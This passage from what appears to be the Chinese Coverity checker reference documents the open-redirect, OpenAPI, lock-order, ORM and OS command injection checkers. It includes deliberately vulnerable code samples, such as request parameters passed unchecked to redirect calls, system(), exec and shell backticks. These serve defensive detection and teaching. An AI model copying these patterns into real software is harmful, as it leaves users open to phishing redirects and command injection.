安全检查器启用：要与其他安全检查器一起启用 OPEN_ARGS，请在 `cov-analyze` 命令中使用 `--security` 选项。

4.238.2. 示例

本部分提供了一个或多个 OPEN_ARGS 示例。

下面的示例生成了缺陷，因为 `open()` 调用将在 `file.log` 不存在并且缺少正确的模式参数时创建新文件。

```
void open_args_example() {
    int fd = open("file.log", O_CREAT);
}
```

4.238.3. 事件

本部分描述了 `OPEN_ARGS` 检查器生成的一个或多个事件。

- `open_args` : `open()` 调用创建了新文件但缺少模式参数。

4.239. OPEN_REDIRECT

安全检查器

4.239.1. 概述

支持的语言：. C#、Go、Java、JavaScript、PHP、Python、Ruby、Visual Basic

`OPEN_REDIRECT` 可查找用户控制输入被用于指定至外部站点的链接（随后被用于重定向调用，CWE 601 [\[2\]](#)）的情况。攻击者可以创建链接，指向被重定向至恶意网站的受信任网站。这可以让攻击者实施钓鱼攻击，以允许他们窃取用户凭证。

对于 C#、Java、JavaScript、PHP、Python 和 Visual Basic，默认禁用 `OPEN_REDIRECT`。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

对于 Go 和 Ruby，默认启用 `OPEN_REDIRECT`。

这是被污染的数据检查器。有关更多信息，请参阅 Section 6.8，“被污染的数据概述”。

4.239.2. 缺陷剖析

`OPEN_REDIRECT` 缺陷说明了用户控制的输入如何可以到达重定向数据消费者。该缺陷包含以用户控制的输入开始的路径，并跟踪程序执行至重定向调用（重定向至可由用户输入控制的地址）。

4.239.3. 示例

本部分提供了一个或多个 `OPEN_REDIRECT` 示例。

4.239.3.1. C#

以下 C# .NET 代码易受开放式重定向攻击。

```
string url = request.QueryString["url"];
Response.Redirect(url); // OPEN_REDIRECT defect
```

4.239.3.2. Go

下面的代码使用用户控制的请求参数作为重定向 URL 的部分。攻击者可以创建指向您网站的 URL，将您的用户重定向至恶意网站。针对 `http.Redirect` 调用显示 OPEN_REDIRECT 缺陷。

```
package router

import "net/http"

func ToService(response http.ResponseWriter, request *http.Request){
    service:= request.FormValue("service")
    path := "http://" + service
    http.Redirect(response, request, path, http.StatusFound) // Defect here
}
```

4.239.3.3. Java

考虑 Java HttpServlet InsecureServlet.java 中 `doGet` 方法的以下实现：

```
public void doGet(HttpServletRequest request,
                  HttpServletResponse response)
                  throws ServletException, IOException
{
    String url= request.getParameter("url");
    response.sendRedirect(url); // OPEN_REDIRECT defect
}
```

4.239.3.4. JavaScript

下面的代码使用用户控制的请求参数作为重定向 URL 的初始部分。攻击者可以创建指向您网站的 URL，将您的用户重定向至恶意网站。

```
var app = require('express')();
app.get("/open_redirect", function (req, res) {
  var url = "http://" + req.query.redirectTo;
  res.redirect(url);
});
```

4.239.3.5. Python

下面的 Python 代码（使用 Django 框架）使用来自 HTTP 请求的被污染数据作为重定向的目标。

```
from django.conf.urls import url
from django.shortcuts import redirect

def django_view(request):
    return redirect(request.GET['target'])

urlpatterns = [
    url(r'^index$', django_view)
]
```

4.239.3.6. Ruby

以下 Ruby on Rails 代码展示了重定向至 HTTP 请求参数而不进行验证的情况。

```
class ExampleController < ApplicationController
  def redirect
    redirect_to params[:next_page]
  end
end
```

4.239.3.7. Visual Basic

```
Imports System.Web
Imports System.Web.Mvc
Imports System.Web.WebPages

Public Class MyController
  Inherits Controller

  Public Sub unsafeRedirect(request As HttpRequestBase)
    Dim url As String = request.QueryString("url")
    ' Open redirect
    Response.Redirect(url)
  End Sub

  Public Sub safeRedirect(request As HttpRequestBase)
    Dim url As String = request.QueryString("url")
    If (System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(request, url))
      ' Safe redirect
      Response.Redirect(url)
    Else
      Response.Redirect("errorPage")
    End If
  End Sub
End Class
```

4.239.4. 自定义检查器

4.239.4.1. C#

对于 C#，请参阅Section 5.2.1.3，“C# 和 Visual Basic 原语”中的 Security.HttpRedirectSink(Object o) 原语。

4.239.4.2. Go

对于 Go，请参阅Section 5.3.1.3，“Go 原语”中 HttpRedirectSink() 原语的描述。

4.239.4.3. JavaScript

与所有被污染数据流检查器一样，您可以使用 tainted_data 指令指明不受信任数据的其他源；此指令在《安全指令说明书》中描述。

使用 `sink_for_checker` 指令指定获取 URL 的其他函数参数并将重定向信息发送至客户端，您可以帮助 `OPEN_REDIRECT` 检查器找到更多缺陷；关于该指令的详细信息，请参阅下面的示例以及《安全指令说明书》中 `sink_for_checker` 的描述。

下面的 JSON 文件为 `OPEN_REDIRECT` 指定了 `sink_for_checker` 指令。它告诉检查器函数 `vulnerableRedirect` 的第一个参数是将客户端重定向至的 URL。

```
{
  "type" : "Coverity analysis configuration",
  "format_version" : 12,
  "language" : "javascript",
  "directives" : [
    {
      "sink_for_checker": "OPEN_REDIRECT",
      "sink": {
        "input": "arg1",
        "to_callsite": {
          "call_on": [
            "read_off_any": [
              { "property" : "vulnerableRedirect" }
            ]
          }
        }
      }
    }
  ]
}
```

如果您将上面的指令文件传递给 `cov-analyze`，`OPEN_REDIRECT` 会在以下源代码中报告缺陷。

```
var app = require('express')();
app.get("/open_redirect", function (req, res) {
  var url = "http://" + req.query.redirectTo;
  vulnerableRedirect(url);
});
```

4.239.4.4. Visual Basic

对于 Visual Basic，您可以使用 `Security.HttpRedirectSink` 原语；它将方法参数标记为用作要重定向到的 HTTP 地址。`OPEN_REDIRECT` 检查器将在向此方法传递不安全的用户控制的字符串时报告缺陷。

请参阅 Section 5.2.1.3，“C# 和 Visual Basic 原语”中的 `Security.HttpRedirectSink(Object o)` 原语。

4.239.5. 选项

本部分描述了一个或多个 `OPEN_REDIRECT` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- OPEN_REDIRECT:distrust_all:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 true 等同于将此检查器的所有 trust_* 检查器选项设置为 false。默认值为 OPEN_REDIRECT:distrust_all:false。

如果将 cov-analyze 命令的 OPEN_REDIRECT:webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。
- OPEN_REDIRECT:trust_command_line:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 OPEN_REDIRECT:trust_command_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- OPEN_REDIRECT:trust_console:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 OPEN_REDIRECT:trust_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- OPEN_REDIRECT:trust_cookie:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 OPEN_REDIRECT:trust_cookie:false。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- OPEN_REDIRECT:trust_database:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 OPEN_REDIRECT:trust_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- OPEN_REDIRECT:trust_environment:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 OPEN_REDIRECT:trust_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- OPEN_REDIRECT:trust_filesystem:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 OPEN_REDIRECT:trust_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- OPEN_REDIRECT:trust_http:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 OPEN_REDIRECT:trust_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- OPEN_REDIRECT:trust_http_header:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 OPEN_REDIRECT:trust_http_header:true。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- OPEN_REDIRECT:trust_network:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为

OPEN_REDIRECT:trust_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。

- OPEN_REDIRECT:trust_rpc:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为
OPEN_REDIRECT:trust_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- OPEN_REDIRECT:trust_system_properties:<boolean> - [仅限 Go、JavaScript、PHP 和 Python]
将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为
OPEN_REDIRECT:trust_system_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

4.240. OPENAPI.*

安全性

4.240.1. 概述

支持的语言：. OAsv2、OAsv3

OPENAPI.* 检查器在 OpenAPI 规范定义的 API 中查找安全缺陷。Coverity 支持通过 cov-analyze 命令分析 OpenAPI 规范文件。该分析利用了一个开源可扩展程序 Spectral 来查找基于 OpenAPI 规范的 API 中的安全缺陷。对于 Coverity，内置 Spectral 检查器已经被能够检测更复杂缺陷（包括第三方 OpenAPI 扩展中的缺陷）的自定义逻辑所取代。

OPENAPI.* 检查器默认启用。它们可以使用 cov-analyze 标志 --disable-openapi 禁用。这些检查器可以使用标志 --enable-openapi 显式启用。这些检查器只能作为一个组被禁用和启用。

4.240.2. 示例

本部分提供了一个或多个 OPENAPI.* 示例。

OpenAPI 规范文件告知客户端，受保护的操作需要一个 API 密钥。然而，在下面的示例中，API 密钥是作为查询字符串参数传输的，如包含字段 in: query 的 ApiKey 对象所示。Coverity OPENAPI.* 检查器会将此标记为 OpenAPI 规范文件中的缺陷，并建议将该字段改为像 in: header 这样的值，以防止泄露 URI 中的 API 密钥。当然，在修改规范文件后，开发人员还需要修改底层 API 代码，使其不再期望 URI 查询字符串中的 API 密钥。

```
openapi: 3.0.0
info:
  title: Example API
  description: This is an Example API.
  version: 0.1.9
servers:
  - url: https://api.example.com/v1
components:
  securitySchemes:
    ApiKey:
```

```

type: apiKey
in: query          //defect here
name: APIKey
... SAMPLE CODE GOES HERE

```

4.241. ORDER_REVERSAL

质量、并发检查器

4.241.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

ORDER_REVERSAL 查找程序在不同位置按不同顺序获取锁/互斥锁对的很多情况。如果两个线程同时使用相反的获取顺序，则此问题可能导致死锁。

通过不正确的顺序获取锁对可能导致程序挂起。由于线程可以交叉执行，因此可在两个线程中的其中一个获取的情况下，让另一个等待锁（死锁）。其他尝试获取其中一个锁的线程也会发生死锁。

默认禁用： ORDER_REVERSAL 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

并发检查器启用：要与其他默认禁用的并发检查器一起启用 ORDER_REVERSAL，请在 cov-analyze 命令中使用 `--concurrency` 选项。

4.241.2. 示例

本部分提供了一个或多个 ORDER_REVERSAL 示例。

```

// Thread one enters this function
void deadlock_partA(struct directory *a, struct file *b) {
    spin_lock(a->lock); // Thread one acquires this lock
    spin_lock(b->lock); // before it can acquire this lock...
}

// Thread two enters this function
void deadlock_partB( struct directory *a, struct file *b ) {

    spin_lock(b->lock); // Thread two acquires this lock
    spin_lock(a->lock); // Deadlock
}

```

4.241.3. 选项

本部分描述了一个或多个 ORDER_REVERSAL 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- ORDER_REVERSAL:max_lock_depth:maximum_value - 此选项用于指定在持有第一个锁时获取第二个锁的调用链的最大深度。之所以提供此选项，是因为锁获取被深度嵌套的调用链分隔，经常存在涉及分析无法解译的其他同步机制，因而得到的报告通常是误报。默认情况下，如果在包含 6 个以上 getlock 调用的调用链中获取了第二个锁，则分析不会将其视为在持有另一个锁时获取了相应锁。因此，后果就是可能抑制与该锁对相关的缺陷。要查找此类问题，请通过增大 max_lock_depth 值启用此选项。默认值为 ORDER_REVERSAL:max_lock_depth:6

4.241.4. 事件

本部分描述了 ORDER_REVERSAL 检查器生成的一个或多个事件。

- example_lock_order : 获取使用正确锁顺序的第二个元素代表的锁。
- getlock : 实际的锁获取（如果发生在不同方法中）。
- lock_acquire : 获取了锁。
- lock_order : 在第一个锁之后获取了第二个锁。这些运算的顺序不正确。
- lock_examples : 指向按照正确顺序获取锁的函数的链接。

4.242. ORM_ABANDONED_TRANSIENT

4.242.1. 概述

支持的语言：. Java

请参阅 ORM_LOST_UPDATE。

4.243. ORM_LOST_UPDATE

质量检查器

4.243.1. 概述

支持的语言：. Java

ORM_LOST_UPDATE 可查找多种涉及对象关系映射 (ORM) 系统（例如 JPA 或 Hibernate）的持久对象“生命周期”的不同错误。此检查器发现的两种主要问题是未将临时对象持久化以及未将被修改的已分离对象合并回会话。此检查器还会报告将基于它们适用于的对象当前状态抛出异常的 ORM 操作。

可能存储在持久数据库中的对象被称为“实体”。实体最初作为仅限内存对象创建。存在于内存中但从未被存储到数据库中的实体被称为“临时”对象。要将临时对象持久化，必须将其与会话关联，通常通过某种保存操作。一旦完成此操作，该对象就不再是临时对象，而会变成未修改的“持久”对象。如果创建了实体但未存储，则会报告 ORM_ABANDONED_TRANSIENT 缺陷，除非通过表明其应该是临时对象（正好是实体类类型）的方式使用该对象。没有特定的方法可以确定临时对象是否应该持久化，但使用的判别法是对持久对象内容的任何读取正是只应将其用作临时变量的充分证据。此判别法可能导致漏报或误报。

如果以持久对象开头的对象与会话解除了关联，它会变成“已分离”对象。可以一次分离一个对象，也可以一次性分离与会话关联的所有现存对象，前提是会话本身已被关闭或清除。如果持久对象被修改，它会变成

已修改的持久对象，如果被分离，则会变成已修改的已分离对象。如果之前未被修改的已分离对象之后被修改，它也会变成已修改的已分离对象。对已修改的持久对象所做的内存中更改被通过 flush 操作写回至数据库，这可以作为其他操作的一部分通过显式或隐式方式执行。因此，flush 操作可使所有已修改的持久对象恢复为未被修改的持久对象。与此相反，没有 flush 操作适用于已修改的已分离对象。将对已分离对象所做的内存中更改持久化的唯一方法是将该对象重新附加（通常是合并）到会话中。如果未将已修改的已分离对象重新附加到会话中，则会报告 ORM_LOST_UPDATE 缺陷，这表明对持久对象所做的非持久更改丢失。

关于在 Hibernate 等系统中执行 flush 操作的规则很复杂。ORM_LOST_UPDATE 检查器假设对 flush 的任何显式控制都是特意为之。如果对已修改的持久对象执行唯一 flush 是某些操作（例如查询评估）的其他作用，则这会被视为“意外”而不是特意。此类意外 flush 不足以阻止报告缺陷，但报告的缺陷会注明此 flush 发生的位置，以便对其进行评估。

默认禁用：ORM_LOST_UPDATE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

4.243.2. 示例

本部分提供了一个或多个 ORM_LOST_UPDATE 示例。

```
...
@Entity
public class MyEntity {
    ...
}
...
{
    MyEntity myEntity = new MyEntity();
    myEntity.setThis(0);
    myEntity.setThat(1);
    // ... but no "get"s, etc.
    // not persisted
} // error: abandoned transient

{
    ...
    myEntity = (MyEntity)session.get(myId);
    myEntity.setThis(3); // modified
    // ... no flush
    session.clear(); // detach everything
    // ... no reattach of 'myEntity'
} // error: lost update

{
    ...
    myEntity = (MyEntity)session.get(myId);
    session.detach(myEntity); // explicit, single-object detach
    // ... no reattach
    myEntity.setThat(5); // modified
    // ... no reattach
} // error: lost update
```

4.243.3. 事件

本部分描述了 `ORM_LOST_UPDATE` 检查器生成的一个或多个事件。

- `new_transient` - 通过新表达式创建了临时对象。
- `assuming_detached` - 在执行了关闭或清除等可分离所有关联对象的会话操作后遇到了之前未知的实体。假设此类实体仍处于被分离状态。而且还假设已分离对象的所有实体字段也会被分离。
- `null_check_load` - 属于另一个对象的字段的对象的持久或分离状态是通过属于其字段的另一个对象的状态推断的。
- `lost_transient` - 未将临时实体持久化。
- `modify` - 修改了持久或已分离对象。
- `detach` - 分离了一个对象。
- `detach_all` - 分离了与会话关联的所有现存持久对象。
- `lost_modification` - 对已修改的已分离对象所做的内存中更改丢失。
- `merge` - 对象被合并到会话中，这导致其未被修改但被分离。
- `transient_result` - 调用了返回临时对象的方法。
- `persistent_result` - 调用了返回未被修改持久对象的方法。
- `modified_persistent_result` - 调用了返回已修改的持久对象的方法。
- `detached_result` - 调用了返回未被修改的已分离对象的方法。
- `modified_detached_result` - 修改了持久或已分离对象。
- `return_transient` - 返回了临时对象。
- `return_persistent` - 返回了未被修改的持久对象。
- `return_modified_persistent` - 返回了已修改的持久对象。
- `return_detached` - 返回了未被修改的已分离对象。
- `transient_fn` - 调用了返回临时对象的方法。
- `persistent_fn` - 调用了返回未被修改持久对象的方法。
- `modified_persistent_fn` - 调用了返回已修改的持久对象的方法。
- `detached_fn` - 调用了返回未被修改的已分离对象的方法。
- `modified_detached_fn` - 调用了返回已修改的已分离对象的方法。
- `detach_all_fn` - 调用了分离所有持久对象的方法。

- `persist_fn` - 调用了持久化其参数的方法。
- `detach_fn` - 调用了分离其参数的方法。
- `merge_fn` - 调用了合并其参数的方法。
- `manual_flushing` - 会话的 flush 模式被设置为 MANUAL。
- `flush_fn` - 调用了在某些条件下执行 flush 的方法。
- `flushmode_fn` - 调用了设置会话的 flush 模式的方法。
- `uncertain_flush` - 是否会发生 flush 取决于会话的 flush 模式，并且 flush 模式未显式设置。
- `no_implied_flush` - 操作有时执行 flush，但未指定会话的当前 flush 模式。
- `id_test` - 将实体的 id 与 null 测试进行比较以获得瞬态。
- `ignored_get_escape` - 实体被传递给未保留其引用的方法。
- `detach_transient` - 显式分离了临时实体。这会导致抛出异常。
- `persist_detached` - 持久化已分离对象。这会导致抛出异常。

4.244. ORM_LOAD_NULL_CHECK

质量检查器

4.244.1. 概述

支持的语言：. Java

ORM_LOAD_NULL_CHECK 可查找检查 load 运算的结果是否为 null 的很多情况。

Load 运算绝不会返回 null。如果数据库中不存在请求的 ID，运算将返回非 null 代理对象。因为此类代理对象只能用于取回创建它们时使用的 ID（任何其他尝试使用它们的行为都会导致异常），使用代理对象继续操作通常很危险。Load 运算后接 null 检查表明程序员混淆了 load 和 get（可能返回 null）或添加了逻辑上不必要的 null 测试。

ORM_LOAD_NULL_CHECK 只会报告对始终为 load 运算结果的值执行了 null 检查的情况。如果被测试的值有可能来自于 load 运算之外的源（因此为 null 可能是合法的），则不会报告任何缺陷。

4.244.2. 示例

本部分提供了一个或多个 ORM_LOAD_NULL_CHECK 示例。

```
...
MyObject myObject = (MyObject)session.load(id);
if (myObject != null) {      // null check of load result that always passes
    myObject.doSomething(); // Bad if 'myObject' is a proxy.
}
```

```

MyObject loadOrGet(Identifier id, boolean doLoad) {
    return doLoad ? session.load(id) : session.get(id);
}

...
MyObject myObject = loadOrGet(id, true /* doLoad */);
if (myObject == null) { // null check of load result -- never passes
    throw MyObjectNotFoundException();
}
myObject.doSomething(); // Bad if 'myObject' is a proxy

```

4.244.3. 事件

本部分描述了 `ORM_LOAD_NULL_CHECK` 检查器生成的一个或多个事件。

- `load` - 从对象关系映射 (ORM) `load` 运算中返回了值。
- `assumed_dao_load` - 从数据访问对象 (DAO) 接口 (假设通过实际 `load` 运算实现) 上名为 `load` 的方法返回了值。
- `null_check_load` - 对之前的 `load` 运算的结果执行了 `null` 检查。
- `load_fn` - `load` 运算返回之后会通过方法返回的值。
- `return_loaded` - 方法返回了为 `load` 运算结果的值。

4.245. ORM_UNNECESSARY_GET

质量检查器

4.245.1. 概述

支持的语言：. Java

由于操作成本高，访问数据库只应在必要的时候进行，因此 `ORM_UNNECESSARY_GET` 会查找通过调用 `Session.get(...)` 获取的实体的内容未被用于指定路径的情况（这会导致方法调用和后续数据库访问变成不必要的操作）。如果只使用了对象的引用（例如将其存储到另一个对象的字段中）或只使用了对象的 ID，则使用 `load` 运算获取它比使用 `get` 运算更有效。

4.245.2. 示例

本部分提供了一个或多个 `ORM_UNNECESSARY_GET` 示例。

在下面的示例中，`Score` 是通过数据库获取的实体并被赋值给 `x`。但是，由于只使用了 `x` 的对象引用（而不是内容），因此通过 `Session.get(...)` 访问数据库变得不必要。请注意，在很多情况下，调用 `Session.get(...)` 可能在多个级别中换行。在此类情况下，程序员可能无法确定是否发生了数据库访问。

```

public void foo(Session s, Serializable id) {
    Score x = (Score)s.get(Score.class, id);
    setScore(x); // Does not access the contents of 'x'.

```

}

4.245.3. 事件

本部分描述了 `ORM_UNNECESSARY_GET` 检查器生成的一个或多个事件。

- `orm_get_fn` - 返回了指定实体类 `x` 的持久实例。
- `unnecessary_get` - 变量 `x` 超出范围，导致对 `get(...)` 的早期调用在此路径上不必要。
- `setter_method` - 变量 `x` 被传递给 `setter` 方法。如果 `x` 只用在 `setter` 方法中，调用 `load(...)` 方法可获取它。

4.246. OS_CMD_INJECTION

安全检查器

4.246.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Kotlin、Objective C、Objective C+ +、PHP、Python、Ruby 和 Visual Basic

`OS_CMD_INJECTION` 可检测在服务器上执行操作系统命令以及该命令或其参数可能受到攻击者操纵的很多情况。对命令字符串的一部分拥有控制权的攻击者可能能够恶意篡改操作系统命令的目的。此更改可能会导致敏感数据或操作系统资源被泄露、损坏或修改。

默认情况下，如果值来自网络（通过套接字或传入 HTTP 请求），`OS_CMD_INJECTION` 检查器会将值视为被污染。该检查器还可配置为将来自文件系统或数据库的值视为被污染（请参阅Section 4.246.4，“选项”）。

请注意，该检查器始终会在被污染的数据流入操作系统命令（无论执行了何种净化）时报告缺陷。Coverity 建议采用以下工作流：

1. 遵从 Coverity 修复建议：验证、净化和使用方法的数组形式，而不是字符串形式。
对于 JavaScript，在敏感函数调用内使用之前净化该数据。如果可能，请使用较安全的库或 API 调用
2. 如果您选择继续使用操作系统命令实现目标，请安排安全专家审核相关代码；如果专家同意代码的行为是安全的，请在 Coverity Connect 中将该缺陷标记为“特意”(Intentional)。

有关操作系统命令注入的风险和后果的更多信息，请参阅Chapter 6,。有关此检查器发现的潜在安全漏洞的详细信息，请参阅Section 6.1.4.3，“操作系统命令注入”。

默认禁用：`OS_CMD_INJECTION` 默认对 C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Python 和 Visual Basic 禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

默认启用：`OS_CMD_INJECTION` 默认对 Go、Kotlin 和 Ruby 启用。

Web 应用程序安全检查器启用：要启用 `OS_CMD_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。此选项不适用于 C/C++。

安全检查器启用：要与其他安全检查器一起启用 OS_CMD_INJECTION，请在 cov-analyze 命令中使用 --security 选项。此选项仅适用于 C/C++。

Android 安全检查器启用：要与其他 Java Android 安全检查器（非安全）一起启用 OS_CMD_INJECTION，请在 cov-analyze 命令中使用 --android-security 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

4.246.2. 缺陷剖析

OS_CMD_INJECTION 缺陷说明了不可信（被污染）数据用于构造要运行的可执行文件名称（其部分或全部参数或命令传递给命令解释器，例如 bash 或 cmd.exe）的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分表示用于启动另一个操作系统进程的被污染字符串。

4.246.3. 示例

本部分提供了一个或多个 OS_CMD_INJECTION 示例。

4.246.3.1. C/C++

在下面的示例中，被污染的数据被用于通过不安全的方式启动进程。

```
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>

void bug(int socket) {
    char message[1024];
    if (recv(socket, message, sizeof(message), 0) > 0) {
        system(message);           // OS_CMD_INJECTION defect
    }
}
```

4.246.3.2. C#

在下面的操作系统命令注入示例中，来自 HTTP 请求的被污染数据被用于通过不安全的方式启动进程。

```
using System;
using System.Diagnostics;
using System.Web;

class OSCmdInjection
{
    HttpRequest req;

    void test()
    {
```

```
String tainted = req["tainted"];
Process.Start(tainted); // OS_CMD_INJECTION defect
}
}
```

4.246.3.3. Go

以下代码执行使用来自 HTTP 请求的被污染数据构造的命令。针对 cmd.Start 调用显示 OS_CMD_INJECTION 缺陷。

```
package main

import (
    "net/http"
    "os/exec"
)

func test(req *http.Request) {
    cmd := exec.Command(req.URL.Query().Get("command"))
    cmd.Start() // OS_CMD_INJECTION defect
}
```

4.246.3.4. Java

有关代码示例，请参阅Section 6.1.4.3，“操作系统命令注入”和Section 6.6.3，“操作系统命令注入代码示例”。

4.246.3.5. JavaScript

下面的代码示例说明了使用 Express 框架的易受攻击 Node.js Web 应用程序。当声明 run() 函数时会报告该缺陷。

```
const express = require("express");
const app = express();

app.get("/run",
    function run(req, res, next) { // OS_CMD_INJECTION defect
        require("child_process").exec(req.query.cmd);
        res.send("Done");
    });
app.listen(1337, function() {
    console.log("Express listening...");
});
```

4.246.3.6. Kotlin

在下面的示例中，在命令行调用中使用来自 HTTP 请求的被污染数据。在 exec() 调用中报告缺陷。

```
import javax.servlet.http.HttpServletRequest
class OSCMDInjection {
```

```
fun findFile(req: HttpServletRequest) {
    val filename: String = req.getParameter("dirName")
    val command = "find . -name $filename"
    val child = Runtime.getRuntime().exec(command)
}
```

4.246.3.7. PHP

下面的 PHP 代码将来自 HTTP 请求的被污染数据作为命令行的一部分。

```
$user = $_REQUEST['user'];
`shell-cmd --user $user`;
```

4.246.3.8. Python

下面的 Python 代码 (使用 Django 框架) 将来自 HTTP 请求的被污染数据作为 execv 调用的一部分。

```
import os
from django.conf.urls import url

def django_view(request):
    os.execv(request.body)

urlpatterns = [
    url(r'^index$', django_view)
]
```

4.246.3.9. Ruby

以下 Ruby on Rails 代码展示了将 HTTP 查询参数直接内插到 shell 命令的情况。

```
class ExampleController < ApplicationController
  def list
    `ls #{params[:directory]}`
  end
end
```

4.246.3.10. Visual Basic

下面的示例说明了 Visual Basic 子程序中的 OS_CMD_INJECTION 缺陷。来自 HTTP Web 请求的不可信数据被当作操作系统命令参数传递。

```
Sub ArgumentIsUnsafe(req As HttpRequest, cmd As String)
    ' Reading untrusted data from an HTTP web request
    Dim arg As String = req("taint")
    ' Pass the untrusted data as a command argument
    Process.Start("rm", arg)
End Sub
```

4.246.4. 选项

本部分描述了一个或多个 OS_CMD_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- OS_CMD_INJECTION:distrust_all:<boolean> - [C、C++、Go、JavaScript、PHP、Python] 将此选项设置为 true 等同于将此检查器的所有 trust_* 检查器选项设置为 false。默认值为 OS_CMD_INJECTION:distrust_all:false。

如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。（适用于除 C、C++ 之外的所有语言）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。（适用于 C、C++）

- OS_CMD_INJECTION:ignore_command_as_array:<boolean> - [仅限 Java、Kotlin] 此选项可抑制针对接受参数列表或数组的操作系统命令库调用报告的缺陷。在很多情况下，此类调用被利用的风险低于连接的命令字符串。默认值为 OS_CMD_INJECTION:ignore_command_as_array:false。

下面的示例产生了问题报告（如果启用此选项，则会被抑制）：

```
class MyServlet extends HttpServlet {
    public void doPost(HttpServletRequest req, HttpServletResponse resp) {
        try {
            String pattern = req.getParameter("file_filter");
            String [] cmd_and_opts = {"ls",
                                     "-l",
                                     "--hide="+pattern};
            Process p = java.lang.Runtime.getRuntime().exec(cmd_and_opts);
            // ...
        } catch(Exception e) {
            // ...
        }
    }
}
```

- OS_CMD_INJECTION:trust_mobile_other_app:<boolean> - [仅限 Java、Kotlin] 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 OS_CMD_INJECTION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- OS_CMD_INJECTION:trust_mobile_same_app:<boolean> - [仅限 Java、Kotlin] 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_mobile_same_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- OS_CMD_INJECTION:trust_mobile_user_input:<boolean> - [仅限 Java、Kotlin] 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为

OS_CMD_INJECTION:trust_mobile_user_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

- OS_CMD_INJECTION:trust_mobile_other_privileged_app:<boolean> - [仅限 Java、Kotlin] 将此选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才能与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 OS_CMD_INJECTION:trust_mobile_other_privileged_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
